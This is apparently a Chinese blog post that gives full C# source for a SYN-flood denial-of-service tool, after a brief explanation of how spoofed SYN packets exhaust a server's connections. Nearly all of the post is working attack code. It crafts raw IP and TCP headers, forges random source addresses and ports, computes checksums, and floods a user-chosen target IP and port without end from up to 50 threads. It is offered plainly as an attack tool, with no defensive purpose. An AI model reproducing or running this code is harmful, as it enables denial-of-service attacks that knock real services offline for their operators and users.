c#编写的ddos源码

    技术2022-05-20  65

     c#编写的ddos源码 win98 winme无效,winxpsp2估计也不行 sp1就可 2000 2003完全可以  =================================  tcp协议是3次握手的方式连接的,第一次客户机向服务器发送一个标志为syn的数据包,这个数据包的tcp部分有个16位随即序列号,而且ip部分和tcp部分各有一个校验码,发送出去只有校验码正确才会视为合法的数据包,然后如果那个机器那个端口有服务器,比如http服务,就会把序列号+1,然后再生成一个16位随机序列号,标志syn+ack的数据包返回,服务器就会占着一个信道等待第三次握手了,如果超过预定时间等不到就超时去掉了,这时如果开始那个syn的源ip地址和源端口是伪造的并大量发送,服务器就会大量的向假ip端口返回syn+ack并等待,这样就大量占着信道了,如果超过了连接限制,别的机器就连不上了,就拒绝服务了。原理大体就是这个样子了。下面就是代码。  ==================================================================================  //太上老君  //http://www.laotzu.be  //必须在项目属性里把允许不安全代码设为true才可编译  using System;  using System.Net;  using System.Net.Sockets;  using System.Threading;  //需要的命名空间不用解释了吧  namespace syn  {  public struct ipHeader  {     public byte ip_verlen; //4位首部长度+4位IP版本号     public byte ip_tos; //8位服务类型TOS     public ushort ip_totallength; //16位数据包总长度(字节)     public ushort ip_id; //16位标识     public ushort ip_offset; //3位标志位     public byte ip_ttl; //8位生存时间 TTL     public byte ip_protocol; //8位协议(TCP, UDP, ICMP, Etc.)     public ushort ip_checksum; //16位IP首部校验和     public uint ip_srcaddr; //32位源IP地址     public uint ip_destaddr; //32位目的IP地址  }  public struct psdHeader  {     public uint saddr;   //源地址     public uint daddr;   //目的地址     public byte mbz;     public byte ptcl;      //协议类型     public ushort tcpl;   //TCP长度  }  public struct tcpHeader  {     public ushort th_sport;     //16位源端口     public ushort th_dport;     //16位目的端口     public int th_seq;    //32位序列号     public uint th_ack;    //32位确认号     public byte th_lenres;   //4位首部长度/6位保留字     public byte th_flag;    //6位标志位     public ushort th_win;      //16位窗口大小     public ushort th_sum;      //16位校验和     public ushort th_urp;      //16位紧急数据偏移量  }  //这3个是ip首部tcp伪首部tcp首部的定义。  public class syn  {     private uint ip;     private ushort port;     private EndPoint ep;     private Random rand;     private Socket sock;     private ipHeader iph;     private psdHeader psh;     private tcpHeader tch;     public UInt16 checksum( UInt16[] buffer, int size )     {      Int32 cksum = 0;      int counter;      counter = 0;      while ( size > 0 )      {       UInt16 val = buffer[counter];       cksum += Convert.ToInt32( buffer[counter] );       counter += 1;       size -= 1;      }      cksum = (cksum >> 16) + (cksum & 0xffff);      cksum += (cksum >> 16);      return (UInt16)(~cksum);     }  //这个使用来计算校验码的我照抄c#实现ping那文章的方法,反正ip协议计算校验码方法都一样     public syn(uint _ip,ushort _port,EndPoint _ep,Random _rand)     {      ip=_ip;      port=_port;      ep=_ep;      rand=_rand;      ipHeader iph=new ipHeader();      psh=new psdHeader();      tch=new tcpHeader();      sock=new Socket(AddressFamily.InterNetwork,SocketType.Raw,ProtocolType.IP);      sock.SetSocketOption(SocketOptionLevel.IP,SocketOptionName.HeaderIncluded,1);  //这2个挺重要,必须这样才可以自己提供ip头     }  //传参数的多线程需要用到代构造函数的对象。     static void Main(string[] args)     {      Console.WriteLine("1、输入攻击ip或域名");      try      {       IPHostEntry pe=Dns.GetHostByName(Console.ReadLine());       uint ip=Convert.ToUInt32(pe.AddressList[0].Address);//这是要攻击的ip并转为网络字节序       Console.WriteLine("2、输入攻击端口");       ushort port=ushort.Parse(Console.ReadLine());       IPEndPoint ep=new IPEndPoint(pe.AddressList[0],port);       byte[] bt=BitConverter.GetBytes(port);       Array.Reverse(bt);       port=BitConverter.ToUInt16(bt,0);  //要攻击的端口也得转为网络字节序,必须是16位0-65535,如果用hosttonetworkorder就转成32位的了,无奈这样       Console.WriteLine("3、输入攻击线程,最多50个");       int xiancheng=Int32.Parse(Console.ReadLine());       if(xiancheng<1 || xiancheng>50)       {        Console.WriteLine("必须在1到50之间");        return;       }       Random rand=new Random();       Thread[] t=new Thread[xiancheng];       syn[] sy=new syn[xiancheng];       for(int i=0;i<xiancheng;i++)       {        sy[i]=new syn(ip,port,ep,rand);        t[i]=new Thread(new ThreadStart(sy[i].synFS));        t[i].Start();       }  //一个线程对应一个对象,不知多个线程对应同一个对象行不行,请指点。基础不行啊      }      catch      {       Console.WriteLine("有错误,请检查是不是连在网上,或者输入是否都正确");       return;      }               }     unsafe public void synFS()     {      iph.ip_verlen=(byte)(4<<4 | sizeof(ipHeader)/sizeof(uint));  //ipv4,20字节ip头,这个固定就是69      iph.ip_tos =0;  //这个0就行了      iph.ip_totallength=0x2800;  //这个是ip头+tcp头总长,40是最小长度,不带tcp option,应该是0028但是还是网络字节序所以倒过来成了2800      iph.ip_id=0x9B18;  //这个我是拦截ie发送。直接添上来了      iph.ip_offset=0x40;  //这个也是拦截ie的      iph.ip_ttl=64;  //也是拦截ie的,也可以是128什么的。      iph.ip_protocol=6;  //6就是tcp协议      iph.ip_checksum=UInt16.Parse("0");  //没计算之前都写0      iph.ip_destaddr=ip;  //ip头的目标地址就是要攻击的地址,上面传过来的。      psh.daddr=iph.ip_destaddr;  //伪tcp首部用于校验的,上面是目的地址,和ip的那个一样。      psh.mbz=0;  //这个据说0就行      psh.ptcl=6;  //6是tcp协议      psh.tcpl=0x1400;  //tcp首部的大小,20字节,应该是0014,还是字节序原因成了1400      tch.th_dport=port;  //攻击端口号,上面传过来的      tch.th_ack=0;  //第一次发送所以没有服务器返回的序列号,为0      tch.th_lenres=(byte)((sizeof(tcpHeader)/4<<4|0));  //tcp长度      tch.th_flag=2;  //2就是syn      tch.th_win=ushort.Parse("16614");  //拦截ie的      tch.th_sum=UInt16.Parse("0");  //没计算之前都为0      tch.th_urp=UInt16.Parse("0");  //这个连ip都是0,新的攻击方法有改这个值的      while(true)      {      iph.ip_srcaddr=Convert.ToUInt32(IPAddress.Parse(rand.Next(1,255)+"."+rand.Next(1,255)+"."+rand.Next(1,255)+"."+rand.Next(1,255)).Address );      psh.saddr=iph.ip_srcaddr;      ushort duankou=Convert.ToUInt16(rand.Next(1,65535));      byte[] bt=BitConverter.GetBytes(duankou);      Array.Reverse(bt);      tch.th_sport=BitConverter.ToUInt16(bt,0);      tch.th_seq=IPAddress.HostToNetworkOrder((int)rand.Next(-2147483646,2147483646));  //上面用随机种子随机产生源ip源端口和tcp序列号并转为网络字节序            iph.ip_checksum=0;      tch.th_sum=0;  //因为循环中,所以每次必须把这2个已有数的清0才可计算      byte[] psh_buf=new byte[sizeof(psdHeader)];      Int32 index=0;      index=pshto(psh,psh_buf,sizeof(psdHeader));      if(index==-1)      {       Console.WriteLine("构造tcp伪首部错误");       return;      }       index=0;       byte[] tch_buf=new byte[sizeof(tcpHeader)];       index=tchto(tch,tch_buf,sizeof(tcpHeader));      if(index==-1)      {       Console.WriteLine("构造tcp首部错误1");       return;      }       index=0;       byte[] tcphe=new byte[sizeof(psdHeader)+sizeof(tcpHeader)];       Array.Copy(psh_buf,0,tcphe,index,psh_buf.Length);       index+=psh_buf.Length;       Array.Copy(tch_buf,0,tcphe,index,tch_buf.Length);       index+=tch_buf.Length;       tch.th_sum=chec(tcphe,index);       index=0;       index=tchto(tch,tch_buf,sizeof(tcpHeader));      if(index==-1)      {       Console.WriteLine("构造tcp首部错误2");       return;      }       index=0;       byte[] ip_buf=new byte[sizeof(ipHeader)];       index=ipto(iph,ip_buf,sizeof(ipHeader));      if(index==-1)      {       Console.WriteLine("构造ip首部错误1");       return;      }       index=0;       byte[] iptcp=new byte[sizeof(ipHeader)+sizeof(tcpHeader)];       Array.Copy(ip_buf,0,iptcp,index,ip_buf.Length);       index+=ip_buf.Length;       Array.Copy(tch_buf,0,iptcp,index,tch_buf.Length);       index+=tch_buf.Length;       iph.ip_checksum=chec(iptcp,index);       index=0;       index=ipto(iph,ip_buf,sizeof(tcpHeader));      if(index==-1)      {       Console.WriteLine("构造ip首部错误2");       return;      }       index=0;       Array.Copy(ip_buf,0,iptcp,index,ip_buf.Length);       index+=ip_buf.Length;       Array.Copy(tch_buf,0,iptcp,index,tch_buf.Length);       index+=tch_buf.Length;      if(iptcp.Length!=(sizeof(ipHeader)+sizeof(tcpHeader)))      {       Console.WriteLine("构造iptcp报文错误");       return;      }  //上面这一大堆东西就是计算校验和的方法了,方法是  //1、建立一个字节数组,前面放tcp伪首部后面放tcp首部,然后计算,确定最终tcp部分的校验和  //2、把确定了校验和地tcp首部重新生成字节数组,这是就不加tcp伪首部了,所以工20字节  //3、建40字节字节数组,前面放ip首部,后面放tcp首部,校验,确定最终ip部分校验和  //4、最后把确定了ip校验和的ip部分和tcp部分先后放入40字节的字节数组中,就是要发送的buffer[]了,就是这么麻烦      try       {           sock.SendTo(iptcp,ep);  //构造发送字节数组总是麻烦,发送就简单了,socket.sendto就可以了           }       catch       {        Console.WriteLine("发送错误");        return;       }                  }     }     public UInt16 chec(byte[] buffer,int size)     {      Double double_length = Convert.ToDouble(size);      Double dtemp = Math.Ceiling( double_length / 2);      int cksum_buffer_length = Convert.ToInt32(dtemp);      UInt16 [] cksum_buffer = new UInt16[cksum_buffer_length];      int icmp_header_buffer_index = 0;      for( int i = 0; i < cksum_buffer_length; i++ )      {       cksum_buffer[i] =        BitConverter.ToUInt16(buffer,icmp_header_buffer_index);       icmp_header_buffer_index += 2;      }      UInt16 u_cksum = checksum(cksum_buffer, cksum_buffer_length);      return u_cksum;     }  //这个是计算校验,把那些类型不一样的全转为16位字节数组用的     public Int32 ipto(ipHeader iph,byte[] Buffer,int size)     {      Int32 rtn=0;      int index=0;      byte[] b_verlen=new byte[1];      b_verlen[0]=iph.ip_verlen;      byte[] b_tos=new byte[1];      b_tos[0]=iph.ip_tos;      byte[] b_totallen=BitConverter.GetBytes(iph.ip_totallength );      byte[] b_id=BitConverter.GetBytes(iph.ip_id );      byte[] b_offset=BitConverter.GetBytes(iph.ip_offset );      byte[] b_ttl=new byte[1];      b_ttl[0]=iph.ip_ttl;      byte[] b_protol=new byte[1];      b_protol[0]=iph.ip_protocol;      byte[] b_checksum=BitConverter.GetBytes(iph.ip_checksum );      byte[] b_srcaddr=BitConverter.GetBytes(iph.ip_srcaddr );      byte[] b_destaddr=BitConverter.GetBytes(iph.ip_destaddr );      Array.Copy(b_verlen,0,Buffer,index,b_verlen.Length);      index+=b_verlen.Length;      Array.Copy(b_tos,0,Buffer,index,b_tos.Length );      index+=b_tos.Length;      Array.Copy(b_totallen,0,Buffer,index,b_totallen.Length );      index+=b_totallen.Length;      Array.Copy(b_id,0,Buffer,index,b_id.Length);      index+=b_id.Length;      Array.Copy(b_offset,0,Buffer,index,b_offset.Length);      index+=b_offset.Length;      Array.Copy(b_ttl,0,Buffer,index,b_ttl.Length);      index+=b_ttl.Length;      Array.Copy(b_protol,0,Buffer,index,b_protol.Length);      index+=b_protol.Length;      Array.Copy(b_checksum,0,Buffer,index,b_checksum.Length);      index+=b_checksum.Length;      Array.Copy(b_srcaddr,0,Buffer,index,b_srcaddr.Length);      index+=b_srcaddr.Length;      Array.Copy(b_destaddr,0,Buffer,index,b_destaddr.Length);      index+=b_destaddr.Length;      if( index != size/* sizeof(IcmpPacket)   */)      {       rtn = -1;       return rtn;      }      rtn = index;      return rtn;     }  //这个是把ip部分转为字节数组用的     public Int32 pshto(psdHeader psh,byte[] buffer,int size)     {      Int32 rtn;      int index=0;      byte[] b_psh_saddr=BitConverter.GetBytes(psh.saddr );      byte[] b_psh_daddr=BitConverter.GetBytes(psh.daddr );      byte[] b_psh_mbz=new byte[1];      b_psh_mbz[0]=psh.mbz;      byte[] b_psh_ptcl=new byte[1];      b_psh_ptcl[0]=psh.ptcl;      byte[] b_psh_tcpl=BitConverter.GetBytes(psh.tcpl );      Array.Copy(b_psh_saddr,0,buffer,index,b_psh_saddr.Length );      index+=b_psh_saddr.Length;      Array.Copy(b_psh_daddr,0,buffer,index,b_psh_daddr.Length );      index+=b_psh_daddr.Length;      Array.Copy(b_psh_mbz,0,buffer,index,b_psh_mbz.Length);      index+=b_psh_mbz.Length;      Array.Copy(b_psh_ptcl,0,buffer,index,b_psh_ptcl.Length );      index+=b_psh_ptcl.Length;      Array.Copy(b_psh_tcpl,0,buffer,index,b_psh_tcpl.Length );      index+=b_psh_tcpl.Length;      if(index!=size)      {       rtn=-1;       return rtn;      }      else      {       rtn=index;       return rtn;      }     }  //这个是把tcp伪首部转为字节数组用的     public Int32 tchto(tcpHeader tch,byte[] buffer,int size)     {      Int32 rtn;      int index=0;      byte[] b_tch_sport=BitConverter.GetBytes(tch.th_sport );      byte[] b_tch_dport=BitConverter.GetBytes(tch.th_dport );      byte[] b_tch_seq=BitConverter.GetBytes(tch.th_seq );      byte[] b_tch_ack=BitConverter.GetBytes(tch.th_ack );      byte[] b_tch_lenres=new byte[1];      b_tch_lenres[0]=tch.th_lenres;      byte[] b_tch_flag=new byte[1];      b_tch_flag[0]=tch.th_flag;      byte[] b_tch_win=BitConverter.GetBytes(tch.th_win );      byte[] b_tch_sum=BitConverter.GetBytes(tch.th_sum );      byte[] b_tch_urp=BitConverter.GetBytes(tch.th_urp );      Array.Copy(b_tch_sport,0,buffer,index,b_tch_sport.Length);      index+=b_tch_sport.Length;      Array.Copy(b_tch_dport,0,buffer,index,b_tch_dport.Length);      index+=b_tch_dport.Length;      Array.Copy(b_tch_seq,0,buffer,index,b_tch_seq.Length);      index+=b_tch_seq.Length;      Array.Copy(b_tch_ack,0,buffer,index,b_tch_ack.Length);      index+=b_tch_ack.Length;      Array.Copy(b_tch_lenres,0,buffer,index,b_tch_lenres.Length);      index+=b_tch_lenres.Length;      Array.Copy(b_tch_flag,0,buffer,index,b_tch_flag.Length);      index+=b_tch_flag.Length;      Array.Copy(b_tch_win,0,buffer,index,b_tch_win.Length);      index+=b_tch_win.Length;      Array.Copy(b_tch_sum,0,buffer,index,b_tch_sum.Length);      index+=b_tch_sum.Length;      Array.Copy(b_tch_urp,0,buffer,index,b_tch_urp.Length);      index+=b_tch_urp.Length;      if(index!=size)      {       rtn=-1;       return rtn;      }      else      {       rtn=index;       return rtn;      }     }  //这个是把tcp部分转为字节数组用的,因为这个要用到2次就不把这个和伪首部放一块了。  }  }  //最后,本代码校验部分的方法参考了用c#实现ping程序的文章

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